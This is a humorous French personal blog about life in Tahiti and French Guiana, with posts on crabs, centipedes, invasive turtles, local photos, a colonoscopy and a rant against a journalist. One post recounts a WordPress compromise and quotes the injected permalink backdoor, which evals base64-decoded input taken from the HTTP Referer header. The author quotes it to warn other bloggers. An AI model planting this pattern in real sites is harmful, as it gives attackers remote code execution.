  Eh bien, le Tupa n’est pas difficile. Son qualificatif savant, carnifex, signifie bourreau avec les nuances de tueur sadique et a pris une connotation péjorative, plus ou moins pendard ou coquin : On pourrait le croire terriblement carnivore. En fait, tel l’homme moyen, le Tupa moyen est omnivore. Son menu : des feuilles, des brindilles, des branchettes, des racines, des écorces mais tout autant du tissu, du papier, du carton, du hénaff, à l’occasion, bref tout est bon et, chemin faisant, un cadavre de mammifère n’est pas pour lui déplaire.

  

  Peut-on manger le Tupa ?

  Non, car si le Tupa peut absorber n’importe quelle saloperie sans inquiétude, l’humain digère beaucoup moins certaines choses, par exemple, les végétaux toxiques. Ou alors il faut nourrir soi-même le Tupa avec du maïs transgénique mais je ne présage pas que l’animal s’avère d’une compagnie agréable. Evidemment, si comme Gaston Lagaffe, vous voyez une lueur d’intelligence dans l’oeil d’un homard, vous pouvez tenter le coup.

  Psychologie du Tupa

  Le Tupa est très con, je suis désolé de le dire crûment. On pourrait encore admirer ses talents de terrassier, à la rigueur ses dons de brouteur d’herbe à l’estomac d’acier mais il se trouve que la communication avec le Tupa reste limitée. en effet, l’occupation essentielle de la bestiole consiste à vivre dans son trou et quand elle pointe le bout de ses pinces au dehors, c’est  par nuit couverte de préférence. De jour, dès que le Tupa vous aperçoit, il rentre dans son trou. Pas moyen de discuter. La preuve en images :

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  Le Tupa est-il le seul crabe terrestre du Pacifique ?

  Que nenni ! Il y a au moins le crabe rouge ci-dessous, Discoplax longipes.

  

  A Lifou, si l’on habite entre la falaise et la mer, ces crabes – une ou deux fois par an – déboulent par myriades pour aller copuler ardemment sur une sable de plage blanc. La route leur est souvent fatale et pourtant ils ne boivent pas de whisky. En revanche, ils vont droit devant. On prétend qu’ils escaladent le cocotier jusqu’au sommet et le redescendent plutôt que de le contourner… En tout cas, il en passe au travers de la case traditionnelle, dans le faux-plafond des cases en dur (c’est bruyant, le cliquetis des petites pattes pointues sur du contreplaqué), et j’ai perdu la photo d’un spécimen qui se cachait derrière un pot de Van Houten dans la cuisine. Voici toujours la photo de la case traditionnelle, où l’on dort paisiblement sur des nattes jusqu’à ce qu’un crabe rouge vienne vous pincer là où ça fait mal. Ah, les paradis tropicaux… Non, je plaisante. Regardez cette superbe case.

  

  Et pour finir, le géant terrestre de la série des crabes à poumons, le Crabe de Cocotier avec des majuscules. Le Birgus Latro qui vole jusque dans les maisons. Bienvenue dans le Pacifique.

  

  
• Un petit oiseau de Tahiti

  Alors espèce endémique ou importée, je ne sais pas mais il est très mignon…

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  PS : On m’apprend que c’est un Diamant à cinq couleurs. Merci Patrick I. (cf.commentaire ci-dessous)

  
• Haubans, bas-haubans et galhaubans.

  Quand on se permet d’avoir un seul mât avec trois paires de barres de flèches, il faut des haubans, des bas-haubans et des galhaubans, sans compter la longueur hors-tout de la bestiole…

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  Je crois qu’il est inutile de pérorer : il y a de bien jolies choses dans la Marina de Puna’auia…

  
• Tintin à la poursuite de la Créature des Marais

  A Saint-Nazaire, Tintin est à la recherche de la Créature des Marais en compagnie du Capitaine Haddock. Ils envisagent de pousser jusqu’à Penhouët.
  

  

  Ils ignorent que la Créature est déjà rendue à Tahiti…

  Ah, si le grand Hergé était encore de ce monde, comme j’aimerais qu’il ait réalisé « Tintin à Tahiti« . En attendant, il existe une édition polynésienne du Crabe aux pinces d’or traduit ainsi : Te pa’apa’a ‘avae fa’ahohoni piru. Vous pouvez vous la procurer ici et là, vous trouverez un article explicatif sur cette parution en reo ma’ohi.

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• Bernard l’hermite de Papeari

  :star:

  Attention : un commentaire de Fitis nous oblige à affiner ce post. Ce bernard l’hermite est terrestre et il s’appelle plus précisément le Coenobita spinosus. Qu’on se le dise.

  D’ailleurs, pour tout savoir sur le cénobite épineux et les bernard l’hermite en général, va donc chez Fitis.
  

  Le Bernard l’hermite, champion du monde des squatteurs de coquilles, a parfois du mal à trouver chaussure à son pied.

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  Ce que j’aime chez lui, c’est surtout l’apparence de dentition sur sa pince la plus grande qui me rend nostalgique, allez savoir pourquoi…

  

  Pourquoi le Bernard-l’hermite s’appelle-t-il comme ça ?

  La réponse en texte. Étymol. et Hist. 1554 zool. « pagure » (G. de Rondelet, Libri de piscibus marinis, Lyon, t. 18, p. 553 : Eum Aristoles καρκίνιον vocat, nostri bernard l’ermite); fin xvi^e s. (Paré, Monstres, App. 1 dans Littré : En Languedoc ce poisson [cancellus] se nomme Bernard l’ermite). Empr. au langued. bernat l’ermito « id. » (Mistral) dont la 1^re partie est prob. un emploi de l’anthropon. Bernard (du nom de Bernard de Cîteaux, v. Bernardin) très usité comme sobriquet pour désigner différents animaux : bernat-blanc « héron aigrette », bernat-pescaire « héron », bernat-pudent « tout insecte ou animal exhalant une mauvaise odeur » (Ibid.; v. aussi FEW t. 15, p. 97b), à rapprocher aussi de l’emploi péj. de bernard « sot, niais » cf. bénarde. L’hyp. d’un étymon celt. *bern-at-os,bernos « aqueux, marécageux », assimilé au suff. lat. -atus (Gamillscheg dans Z. rom. Philol., t. 40, p. 139) satisfaisante du point de vue sém. pour bernat-blanc, bernat-pescaire « héron » n’est pas convaincante pour bernat-pudent. Le qualificatif d’ermite (ermite*) est dû au fait que ce crustacé vit toujours solitaire et s’installe dans un coquillage comme dans un ermitage (v. Roll. Faune t. 3, p. 227). Fréq. abs. littér. : 3. dér. de *    MERCI LE CNRTL

  
• Afaahiti : Une maison perchée

  Eh oui, une maison perchée à Afaahiti. On ne saurait trop conseiller aux parents de rappeler : « Attention, les enfants, quand vous jouez dans le jardin ! Et n’oubliez pas de ranger vos jouets… »

  *

  

  *

  Pour ma part, cela me foutrait le traczir en ayant des gosses en bas âge, sans compter les glissements de terrain : Cliquez sur la photo pour une vue d’ensemble. Ceci dit, chacun voit l’abîme à sa porte.

  
• The blue Vaa ou comment être invisible dans le lagon

  Le Vaa est une très jolie pirogue à balancier, esquif effilé qui fend l’eau turquoise du lagon. Mais on peut aussi si on est doué aller jouer sur les vagues de la passe. Pour celles et ceux qui voudraient voir des photos spectaculaires, rendez-vous sur le site officiel du Vaa de Tahiti.

  Oui mais comment être invisible sur le lagon en s’entraînant pour la prochaine compétition sans que les vahine sur la rive ne se pâment à chaque coup de pagaïe ? La solution, c’est le blue Vaa qui adopte automatiquement la couleur de l’eau sur laquelle il navigue avec le t-shirt fonctionnant sur le même principe.

  

  
  

  Ainsi les entraînements se font en toute quiétude et incognito, ce qui permet de conserver quelques bottes secrètes dans la manière de surfer la vague. Du grand style.
  

  
• Le Taiarapu Rubik’s cube

  Parce que je ne me lasse pas de toutes les merveilleuses possibilités que nous offre la technologie pour faire le con… En exclusivité, le Taiarapu Rubik’s cube !

  

  Je doute qu’il y ait quelque intérêt à l’avoir fait et me console en mon for intérieur me disant que personne ne peut être aussi stupide que moi. Enfin un domaine où je suis le premier

  PS : J’aurais pu parler du 11 septembre mais cela ne figure pas dans le calendrier tahitien.

  
• Nouvelle Vague

  Ce qui est sympa avec la nouvelle vague, c’est justement qu’il y en a une nouvelle toutes les dix secondes… Oui, je ne pratique pas twitter alors je me rattrape en faisant des billets courts et sans intérêt, avec des photos pourries…

  

  

  
• La nature et l’homme, Noël et le sapin

  Cela faisait un certain temps (avions-nous remarqué au Aidez-Ouam, le comité de soutien à la Créature des Marais) que la CdM paraissait presque cohérente. Il n’en était rien comme vous le prouvera la vidéo de la belle histoire du sapin de Noël. Ah, l’homme et la nature, une histoire d’amour. C’est l’animatrice Dorothée qui a bien voulu faire le chant d’accompagnement, merci d’exister. Cherchez son site et vous pisserez de rire…

  *

  *

  La belle histoire du sapin de Noël revue par la CdM est à déconseiller aux enfants sensibles ou écologistes.

  PS : Merci à El Pop, l’éminence grise et verte de la CdM !

  
• Hack, le pirate !

  Hack n’est pas un nom propre. C’est le jappement rauque qui s’est étranglé au creux de mon larynx quand j’ai réalisé que ce blog ne fonctionnait plus. Des individus malveillants, animés d’une étrange lubie, ont pénétré au coeur de mon marécage virtuel et saboté toutes les lianes (virtuelles également) qui enfilent mes articles comme autant de petits crottins.

  Heureusement, ce ne sont pas méchantes gens. Ils n’ont pas avalé les perles, ce ne doit pas être dans leur tempérament peut-être. Quoi qu’il en soit, depuis les heures que je galère et merci, internet, ma bonne Dame, il faut qu’à mon tour, je me rende utile car combien m’ont aidé en laissant leur pensée sur les forum les internautes savants. Une telle preuve d’altruisme !

  

  Nous invitons les lectrices et lecteurs qui ont un  blog wordpress et tout petit problème dans leur plantation à rester en notre compagnie – les autres sont autorisés à choisir ce qu’ils vont faire maintenant qu’on rentre dans les détails techniques, merci d’avoir lu jusque là et à bientôt.

  A ne pas lire si vous ne comprenez pas les mots en gras

  WordPresseuses et WordPresseurs, attention, je dis attention ! Si vous êtes dans une version ancienne, vous risquez d’être visité(e) par les personnes mentionnées au milieu du premier paragraphe. Et par exemple, on s’amuse à changer vos permalinks qui aboutissent aux 404 à tous les coups. (contrepèterie facile sur les 5 derniers mots, désolé, pas fait exprès).

  Résultat : Tout se dégrade en très peu de temps tandis que que ces nouveaux administrateurs anonymes gèrent vos affaires.

  Je vous répète qu’ils n’ont rien cassé, que c’est juste une forme douteuse de blague. Je ne parle pas trop fort car je ne me sens plus protégé…

  Bref, d’habitude les pages 505 sur Free, c’est sporadique pour les pages perso (dans mon cas) et je laisse passer.

  

  Mais bon, ça ne passe pas alors je me dis, puis-je quand même accéder à mes affaires par FileZilla ? C’est le cas, je constate que tout à l’air en place, je commence à essayer de sauvegarder puis j’abandonne, c’est trop long et puis, c’est trop tard. Je jette un oeil au .htaccess, il a été modifié alors je le renomme et j’en place un vide. Je décide à ce moment – eh oui, je suis comme ça – d’aller sur Free, j’y vais, j’exporte ma D_B (Base de données), cela débloque un peu les choses que de les manipuler et je parviens de nouveau à atteindre la plate forme WP. J’y saute façon Mario et je lance une visite du site. Le Blog a sa couleur naturelle, je cherche les liens mais ils sont désormais configurés pour finir sur une agaçante 404 et finissent par un code bizarre que je recopie afin de nourrir Google :

  /%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

  Formule cabalistique qui permet de simplifier l’écheveau complexe de vos liens : 505 + redirect ! Le Net est formel, je suis victime du hack autrement dit des pirates. Que faire ? Suivre les instructions (en anglais) de ByReveMedia et me revoilà pour l’instant…

  

  Hackers ! Mais il se peut que je m’adresse à des robots… Veillez à laisser les lieux aussi propres en sortant que vous les avez trouvés. Merci.
  

  

  PS : Pour celles ou ceux qui veulent télécharger des brosses de pirate photoshop…

  
  

  
  

  
• Des traces de pif sur la table en plastique

  Oui, des traces de pif qui marquent la table en plastique des grands nains de jardin quand ils font des libations. Il paraît que « ça sort » avec de la javel… En tout cas, on y décèle aisément les affidés de Bacchus mais il ne faut pas oublier qu’il y avait aussi du whisky et du pastaga quant au score invisible de cette pochtronne créature.
  

  

  Je note quand même que la majorité, c’est-à-dire les trois représentantes du sexe faible et un seul représentant du sexe dit « fort », occupaient la zone épargnée. Il y a bien des taches à l’emplacement d’une bouteille : mais on peut présager que ce sont les gorets hors-zone qui ont dû goujatement la leur faucher.  » Où l’on me verse du bon vin, volontiers, je ferai longue pause ! » dit Mozart qui aimait le pinard.

  Et le lendemain, si on a mal à la tête, on fait un bon shampoing.

  

  
• Des photos, oui

  Alors, 1,2,3,4 ! Mais juste comme ça : Des photos du plateau de Taravao à Tahiti et un îlot tout en long, baie de Phaëton.
  

  

  

  

  

  La baie de Phaëton et le plateau de Taravao. C’est tout aujourd’hui…

  
• Obama élu, Bush tombe…

  Et ceci au mépris de toute forme d’écologie puisque je rappelle que Obama, on ne sait pas encore ce que ça veut dire (même si je le soutiens autant qu’il me soutient sans nous tenir par la barbichette et son avis) alors que Bush, l’homme du pétrole, a pourtant un patronyme écolo, le « Bush », le buisson, la broussaille, le taillis, le hallier, enfin bref le coin de nature : Amusez-vous bien à le voir choir et à l’aider à chuter encore lorsqu’il est bloqué…
  

  
• Jean-Michel Aphatie : un gars content de lui…

  Je mets quand même en lien l’article cité par Blada qui m’a fait réagir, comme on dit : cet article-ci.

  Vous n’aurez pas de photo de ce gars-là, vous les trouverez sur son blog pour comprendre de quoi je cause.

  Allez, d’habitude, je ne dis pas beaucoup de mal des gens, je me contente de raconter n’importe quoi du moment que ça mousse et ce n’est pas l’audience minuscule de mon blog qui risque de m’empêcher à m’adonner à ce passe-temps anodin. Pourtant s’il y a un type dans le PAF qui me tape sur les nerfs, c’est bien Jean-Michel Aphatie. Son museau chafouin, ses manières de commère vipérine, sa denture de hamster, idéalement accordée aux morsures mesquines qu’il inflige de l’air réjoui de qui a parlé, ses bras croisés de suffisance font sans doute (pour parodier Antonin Artaud) que ce Monsieur se croit à la tête du progrès journalistique.

  De fait, comme en matière de critique littéraire, on peut distinguer deux catégories d’analystes politiques : ceux qui réfléchissent en s’interrogeant encore et ceux qui jugent en décidant qu’ils savent.

  L’adjectif phatique existe, défini dans les fonctions du langage de Roman Jakobson, comme l’art d’entretenir la communication en tant que telle, c’est-à-dire en tant que signe pur d’un canal ouvert (allo) même si celle-ci n’a aucun contenu signifiant. Le substantif « phatie », en revanche, n’existe pas. Quant au « a » privatif, du préfixe grec ancien, il convient bien mal à un individu qui déblatère puisque c’est son unique justification. Je crains simplement que ce Monsieur ne souffre de cela même qu’il incrimine chez les personnalités politiques qu’il mentionne : la soif de pouvoir.

  Que la « Gauche » soit ridicule, il n’est pas nécessaire d’œuvrer à RTL ou de se poser en spécialiste du sujet sur C+, le premier béotien venu peut s’en rendre compte avec l’aide bénévole des médias. En faire son pain quotidien en tant que professionnel, pourquoi pas ? S’en faire une gloire sur son blog perso est déjà nettement plus foireux. Et puis, il faudra aussi préciser à Monsieur Aphatie que Guyane ne prend qu’un « n », c’est Guyenne qui en prend deux. Et dans le même esprit que si l’on écrit « la social démocrate », on se doit d’ajouter un trait d’union entre les deux termes qui rend licite qu’on n’accorde pas « social » avec ce que le déterminant initial commande.

  Mais bon, je ne prétends pas apprendre à un homme de premier plan du 4^ième pouvoir de mes deux fesses à écrire le français : ça, c’est son boulot…

  
• Le coquetelle de fruits rouges

  Du trash, du trash et encore du trash… Voyez-vous ce délicieux coquetèle de fruits rouges arrosé d’un coulis de cassis ? Cliquez sur l’image pour comprendre qu’il s’agit d’un coq tout court dont la crête a été malmenée par un chien… Non, mais quelle horreur ! François, pardon si tu me lis au petit déjeuner…

  

  
• La tortue de Floride ou le tort tue

  Vers les années 70, la tortue de Floride ou « tortue aux tempes rouges » aka la Trachemys scripta elegans était très à la mode. En effet, ce reptile soit acheté en animalerie, soit gagné comme lot à la kermesse du village s’avérait un compagnon peu exigeant, nonobstant qu’il en fallait éloigner les jeunes enfants en raison de son irascibilité (elle possède des griffes courbées chez le mâle, droites chez la femelle, et la déplaisante habitude de donner des coups de bec sans compter les tentatives de morsure : Quelle fourberie).

  

  
  La sustenter était pourtant l’enfance de l’art sachant que la bête est omnivore avec une préférence pour la nourriture carnée. Il suffisait donc de lui procurer la salade de Tatie, le poisson rouge du voisin ou la chatte à la voisine afin d’apaiser son appétit.
  Jusque là, tout allait bien. Seulement voilà : les bestioles familières, on s’en lasse, on les abandonne sans songer à mal et puis c’est à ce moment que les ennuis commencent, pour les autres.
  Car, lâchée dans la nature, la Trachemys scripta elegans est devenue un fléau. Elle bouffe tout, n’a peur de rien (sauf de la Créature des Marais qui sait en faire son ordinaire) et non contente de dévaster la flore aquatique, elle nique les poissons et dame le pion aux braves tortues endémiques.

  

  
  C’est pourquoi la CdM, alertée par la présence d’une de ces saloperies dans la rivière voisine, a décidé de réagir avec énergie en enjoignant à toutes celles et tous ceux qui croisent cette tortue de la capturer illico : Soyez vives ou vifs parce que la sournoise est prompte à se réfugier au fond des eaux, comme en témoigne cette très très courte vidéo inédite.

  
  Que faire de la bête une fois prise ? Chacun voit Minnie à sa porte. Vous pouvez toujours la confier à cet organisme généreux.

  Mais le mieux, selon moi, est de la manger. Vous ferez ainsi preuve d’un esprit hautement écologique dont vous pourrez vous prévaloir dans votre CV pour adhérer au Front National ou être embauché comme maître-queue dans un trois étoiles (vous trouverez ici ou là des recettes idoines). Merci de votre attention.

  PS : Que les amoureuses et amoureux des tortues (dont Célestin « Fab » Rougeret) me pardonnent : Vous savez bien que je raconte n’importe quoi…

  PPS : Rodrigo Tortilla, tu m’as tué !

  
• Courte vidéo de Papeari

  Oui, un petit coin de Papeari, Teva i Uta, Tahiti, Îles du Vent, Archipel de la Société, Polynésie française, en 37 secondes seulement…
  ***

  
• Grippe B

  « Quand ça change, ça change, faut jamais se laisser démonter… » (Robert Dalban alias Jean ou John dans Les Tontons Flingueurs)

  

  
• Scolopendre, alias Viri ou cent pieds

  En Guyane, les bestioles sont nombreuses. Certaines sympathiques, d’autres non. A Tahiti, les exemples d’animaux nuisibles sont rares. Côté  marin, il y a le poisson roche mais je n’ai pas d’appareil sous-marin, et côté terrestre, le « cent pieds » ou « Viri ».
  Plus connu sous l’espèce des scolopendres, arthropodes fort répandus sur la planète, le Viri à l’instar de ses congénères, aime l’ombre et  l’humidité. Il est carnivore et s’occupe donc avantageusement des moustiques, cafards et escargots. A ce titre, il est donc utile. Hélas, il n’aime pas du tout qu’on lui marche sur la queue et sa morsure venimeuse est particulièrement douloureuse.

  

  D’aucuns prétendent que dans le paradis terrestre tahitien, c’est le viril Viri qui aurait incité Ève-Vahiné à manger la pomme. Cette  légende est complètement absurde puisqu’il n’y pas de pommes à Tahiti. Et ce sont bien les Européens qui y ont amené la pomme de discorde.
  Ceci dit pour rétablir la vérité. En revanche, la fameuse phrase de Jules César au sujet d’une tripotée qu’il aurait infligée aux Gaulois  « Veni vidi vici » serait erronée. En effet, il faut savoir que le vini (appel pressant en tahitien) est le téléphone portable de Polynésie. Un ami tahitien l’aurait appelé sur son « vini« , il serait venu et aurait vu « vidi » le scolopendre dont la rencontre lui aurait fatale et non  les coups de dagues de ses ennemis dont son fils. Ainsi ses derniers mots n’auraient pas été « Tu quoque mi fili » mais bien « Vini vidi  viri! ». Voilà comment on écrit l’histoire…

  Quoi qu’il en soit, mon voisin Pierre tondant sa pelouse où nos enfants jouent nu-pieds même s’ils n’en ont que deux chacun, a trouvé ce  joli spécimen de 17 centimètres. Quant à ce qui concerne les pieds, je les ai comptés : il n’y a que 42. C’est mon âge et j’y vois une  coïncidence troublante…

  Dernier détail, l’intérêt des poules lâchées librement dans le jardin : On les savait friandes de guilleri depuis le XVIIe siècle. Apprenez également qu’elles gobent le viri…

  PS : Un lien plus sérieux sur le Viri.
  

  
• Palétuvier et atavisme

  Vu qu’il ne fait pas beau temps ici, je suis obligé d ‘actualiser le blog avec des photos de Guyane, en l’occurrence de l’estuaire du Mahury, c’est comme ça.

  

  Violeur, ne me prends pas à rebours sinon je m’incruste dans ta bite et les crêtes de coq, ce sera de la plaisanterie à côté. Comprenne qui pourra.

  PS: Encore pardon d’être obscur parfois.

  
• Sigmoïde et Diverticule : l’Odyssée

  ENFANTS, ABSTENEZ-VOUS DE LIRE CE QUI SUIT : VOUS FERIEZ PEUT-ETRE DES CAUCHEMARS…
  

  Franchement, en voyant quel était l’article le plus notoire de ce blog, je me suis interrogé : Jusqu’où peut-on aller sur le net  dans le mauvais goût ? La réponse est évidemment : plutôt profond. Alors allons-y. The show must go on.
  

  J’avais récemment évoqué quelque désordre bénin de ma voix cassée et digestive dans ce post-ci, je ne m’étais pas risqué plus avant dans cette voie-là. Une caméra maniée par un expert s’en est chargé.

  Pour toutes celles et tous ceux qui sollicitent inlassablement les moteurs de recherche afin de dégoter des photos de diverticules, je précise que je suis presque beau, vu de l’extérieur… Les commentaires savants sont en vert.

  Etape n°1 : Il va falloir être courageux.
  

  MARGE ANALE : RAS, folliculite – TOUCHER RECTAL : RAS Pourtant, je ne suis pas fol de la messe. Il va falloir éclaircir cette histoire de marge ?

  

  Etape n°2 : La caméra insuffle de l’air et on tombe dans Alien III, le retour.

  COLOSCOPIE : Progression jusque dans le caecum alors que je résiste encore et toujours à l’envahisseur d’habitude et les derniers cm de l’iléon, qui sont normaux. C’est une bonne nouvelle mais qu’est-ce que l’iléon ? C’est ainsi qu’on apprend qu’on a les mêmes à la maison.

  

  Prémédication par Hypnovel 4 mg et Péthidine 100 mg, deux ampoules de G30 dans 100 cc. J’ai dû abuser auparavant des deux dernières lettres de la phrase précédente parce que j’étais très éveillé et j’ai tout suivi  sur l’écran avec grand intérêt quoique crispé, je dois l’avouer.

  Préparation de bonne qualité. Cela signifie que j’ai passé une nuit sur le trône en buvant beaucoup de Volvic. (L’eau, c’est donc ça ? Ce n’est pas mauvais après tout). A moins d’en avaler six litres… « il faut que ce qui s’écoule soit clair comme de l’eau de source ! » m’avait-on recommandé. Je vous assure que ce n’est pas facile pour un mangeur de steack tartare.
  

  Etape n°3 : Le vengeur masqué extirpe les affreux polypes.

  Lors de la progression comme lors du retrait de l’appareil (ça paraît long), on constate quelques diverticules dans le colon droit, de nombreux diverticules dans le sigmoïde (on y revient),

  

  et deux petits polypes sessiles (et graciles car, en pathologie, sessile indique qu’ils n’ont pas de pédicules) de 8-9 mm de grand axe détruits à 40 cm et à 20 cm de la marge anale – deux pots séparés (là, encore quelque chose m’échappe dans le langage médical puisque j’ai cessé la moto depuis plus de 20 ans).

  Conclusion : Quelques diverticules à droite – ça, on savait déjà mais pour qui voter à gauche de nos jours ? - Nombreux diverticules dans le sigmoïde et je commence à en avoir plein le cul de cet article interminable comme l’intestin - Deux polypes détruits dans le colon. C’est tout pour aujourd’hui.

  Ah non ! Ultime recommandation du praticien : « On a injecté de l’air pour faire la visite alors n’hésitez pas à péter autant que vous pourrez, ça vous soulagera et tout le monde comprendra… ». C’est fait. Et rappelons les paroles définitives du poète Bernard Lavilliers : « La musique est un cri qui vient de l’intestin ! »
  

  PS : Comme disait Desproges : Pardon, Maman, c’est juste pour blaguer !

  Bon, OK, dans le prochain post, il y aura de belles images de Polynésie pour changer de registre.

  
• Tahiti : Du beau temps…

  Méchante gageure que de montrer du temps gris ou bien de photographier la nuit alors qu’il fait surtout beau à Papeari et sur la presqu’île (cf. les deux posts précédents).

  C’est pourquoi je me rattrape en plaçant les photos des mêmes endroits que dans le post du 4 août avec une visibilité bien meilleure.

  Voici donc la montagne et ce coup-ci, on la voit :

  

  Et la vue sur Taiarapu :

  

  Evidemment, c’est plus joli de jour et par temps ensoleillé, n’est-ce pas ?
  

  
• C'est beau, une presqu'île, la nuit…

  Si vous consultez le post d’hier, vous constaterez que la météo offrait une visibilité réduite : La Créature est donc partie se coucher en attendant que ça se dégage pour faire une nouvelle photo.
  Quand elle s’est réveillée, le ciel était clair mais il était une heure du matin. Profitant de la tranquillité nocturne, appareil réglé sur 1600 asa, ouverture f4, elle a procédé à une exposition de 15 secondes sur pied de la presqu’île de Taiarapu. Résultat ? Une clarté boréale, vous avez vu ?
  

  

  On vous le disait, c’est beau une presqu’île, la nuit !

  PS : Pardonnez-moi l’émoi de la Créature qui ne connaît rien à l’art photographique ni à ses techniques.

  
• Bienvenue à Tahiti, Île du Paradis

  Ce blog n’était plus actualisé ? Vous y venez quand même ? Vous deviniez votre Créature en transit car vous avez la fibre : je dois vous dire que vous êtes de celles ou de ceux qui font aimer le genre humain, même aux créatures de mon espèce. Merci de m’accorder votre confiance !

  Un rêve qui s’écroule… Eh oui, bienvenue à Tahiti. Deux aperçus de la nouvelle tanière pour motiver qui aurait envie d’aller se dorer les pieds aux antipodes.

  

  
  Le côté montagne à Papeari. On distingue les premiers contreforts à conifères de cette magnifique chaîne qui fait la majesté de l’île mythique.

  

  
  

  Vue sur l’entrée de la baie de Phaëton : A l’arrière-plan, seuls les yeux les plus aiguisés entrevoient la splendeur de la presqu’île de Taiarapu.

  Irai-je jusqu’au bout de ce post alors qu’une coupure d’électricité mange mes batteries ? Pourrais-je tout simplement poster ? En tout cas, j’ai vérifié, c’est le réseau et pas le disjoncteur.

  
  

  

  
  Bon, bon, bon. Rassurez-vous mais aussi pleurez malheureux métropolitains ! Ces micro incidents météo-énergétiques sont négligeables. En fait, Tahiti, c’est absolument époustouflant de beauté et j’aurais l’occasion de le prouver en images pour ceux qui douteraient. D’autre part, les Tahitiens sont des gens parfaitement charmants, souriants, serviables. L’autre soir, Des voisins jouaient du ukulele et de la guitare en chantant de façon si merveilleuse que je manquai en coasser de plaisir. Comme dit le fils de la Créature : Je crois que ça va me plaire…

  
• Empreinte digitale et affres du départ

  A toutes mes lectrices et lecteurs fidèles (To the Happy Few) qui se demandaient ce que fout la Créature des Marais avant de partir pour Tahiti, il faut répondre en image :

  

  le machin orange au-delà de l’écran est une tasse en guise de cendrier à pétard et non un verre de tafia (traducteurs de tous les pays, amusez-vous).
  

  Votre créature est bien évidemment cachée pudiquement derrière le beau buffet en bois d’arbre et c’est un comparse du Aidez-Ouam qui a commis la photo. Sachant que la créature souffre d’un mal de dos chronique (mal du siècle), vous en conclurez vous-même qu’elle ne puisse se répandre sur des sujets aussi divers qu’essentiels avec un clavier qui lui arrive à la hauteur de sa couille unique sans en pâtir (au niveau du dos, car en revanche la fraîcheur du carrelage au niveau de la boulette est toujours bienvenue sous l’équateur).

  Bref, UNE ENIGME POUR VOUS :

  

  Ceci est un jeu qui se décline ainsi :

  • Est-ce l’empreinte post-mortem du petit doigt de pied gauche de Mickaël Jackson (avant qu’on ne l’enferme dans un cercueil dont on est pas sûr qu’il y soit) ?
  • Ou alors est-ce une trace que Mister Obama aurait laissée sur le sein d’une admiratrice avant l’affaire Levinsky ?
  • Ou est-ce tout tout simplement l’opercule (et je suis poli) d’un coquillage commun dans le Pacifique-Ouest ?

  La gagnante ou le gagnant bénéficiera d’un an d’abonnement à Chasse, Pêche et Tradition, qu’on se le dise…
  

  Ceci dit, chacun voit Mickey à sa porte.

  Je vous aime toutes et tous et portez-vous bien.
  

  
• Pâtisserie et scatologie

  Tiens, juste pour vous amuser… Un gâteau de Célestin Rougeret.

  

  Brillant, n’est-ce pas ?

  
• La Créature des Marais 2 : Où il est question d’enfants et de lunettes …

  Je viens tout juste de récupérer ma bécane auprès du réparateur, après presque 3 semaines de privation, et je ne tiens pas à disserter sur l’addiction au PC personnel et encore moins des subterfuges qu’inflige une panne stupide en une période qui -plus que jamais – nécessitait cet outil pour entreprendre des démarches et des recherches variées toutes plus importantes les unes que les autres. Bref, n’en parlons plus.

  Non, parlons plutôt (chien de Mickey) du vieillissement des yeux et de la reproduction.

  J’aime lire et il se trouve que, insomniaque et père paresseux quoique créature, je ménage les instants de sommeil de ma compagne dont je suis le compagnon car c’est elle qui se lève dès que geint un enfançon. Ores, vous dirai que mon éclairage ne dépasse pas 40 W quand mon acuité visuelle aggravée de fatigue me fait éprouver la sénescence. C’est pourquoi j’avais acquis une prothèse binoculaire modestement branchue.

  Résultat : Thorgâl (que je n’aime pas), c’est du pipi de chat ! De la lunette débranchée au lorgnon ébréché, démembré, en dépit d’une résistance farouche à grand renfort de cyanoacrylate, les nains de jardin lui ont fait un sort. Voyez plutôt :

  

  
  

  C’est bon, c’est bon, je ne capitule pas : voici mes prochaines lunettes de lecture.

  

  Il faudrait aussi que je me couche moins tard… oui… oui… oui…

  

  Tout ceci n’est pas très drôle, allez plutôt (toujours lui) voir les délires de David sur le Real Blog au sujet des croisières du côté de Monfreid au goût du jour : hilarant.

  
• Une photographie attendrissante

  Prise à St Georges-de-l’Oyapock au village amérindien Espérance en 1994 ou 1995, une de mes photos favorites : Ne l’empruntez pas sans me demander l’autorisation, SVP.

  

  Vit-on jamais rien de plus attendrissant que ces trois fillettes palikour ?

  
• Ami(e)s de la Poésie, bonsoir

  Un vieux poème de la Créature des Marais écrit vers 1993
  

  Psyché

  Stat mystica Rosa, Idola sed non nomina teneo.

  A l’approche d’une figure patricienne,
  La naissance du visage
  Couronne l’allure
  Du corps.

  De l’ouverture effilée
  Qui domine la gorge,
  A la bouche suave
  Que dessine l’enceinte d’un sourire,

  Au-dessus des lèvres closes
  Où l’équilibre du profil
  Est reflet de sa propre image.

  Sous la frange médiane
  De la chevelure sage,

  Entre les pommettes
  Ourlées de Sienne,

  Se mire l’étrangeté d’une lumière.

  Une eau de jade dormant
  Sous l’arc rose des paupières,

  La face marine en lisière
  D’un ciel de Mercure.

  J’y contemple, présente et lointaine,
  La douceur féline
  D’une platonicienne.

  Pulchrae sunt uberae quae paululum supermeminent.

  
  

  
• Glloq, le magazine virtuel de la CdM

  Un petit fichier flash assez long à charger sans doute mais pour un magazine dont on peut vraiment arracher les pages tordues, enfin au moins une…
  

  

  Alors ? Vous l’avez arrachée la page ?

  
• Scarabée : Bijou des matières fécales

  Avec un titre pareil, je crains que les moteurs de recherche ne se fourvoient : Que les pervers qui viennent d’arriver sur cette page passent leur chemin et aillent plutôt voir là.

  En effet, c’est avec notre passion habituelle de l’anecdote passagère que nous étudierons aujourd’hui un animal des plus étranges tout droit surgi de l’antiquité : le scarabée. Son nom français vient du latin scarabeus par escarbot (mais Gruget, traduisant Pedro Mexia en 1580, précise « qu’en françois nous [le] nommons foüille merde » et si vous voulez vérifier ma citation, il vous faudra débourser 1200 € pour acheter le livre ici ).

  Le dit mot latin lui-même est une altération du grec ancien κάραβος qui signifie plus ou moins crabe ou bousier. Bref, rien de bien intéressant sinon à remarquer l’affinité d’escarbot avec escarboucle, pierre précieuse rouge, qui, en héraldique, projette huit rais dont les extrémités sont souvent fleurdelisées, le champ embrassant l’écu, et je ne l’ai pas inventé non plus.

  Vous réaliserez pourtant que la langue française est la résurrection du génie égyptien à peu de choses près : le scarabée, ce bijou vivant.

  Si tout ce qui précède vous paraît obscur, vous auriez pu passer directement au texte sous l’image qui évoque l’entomologie et le symbolisme mais j’avais oublié de vous le dire auparavant, pardon. Au fait, cliquez sur la photo, c’est mieux en grand.
  

  

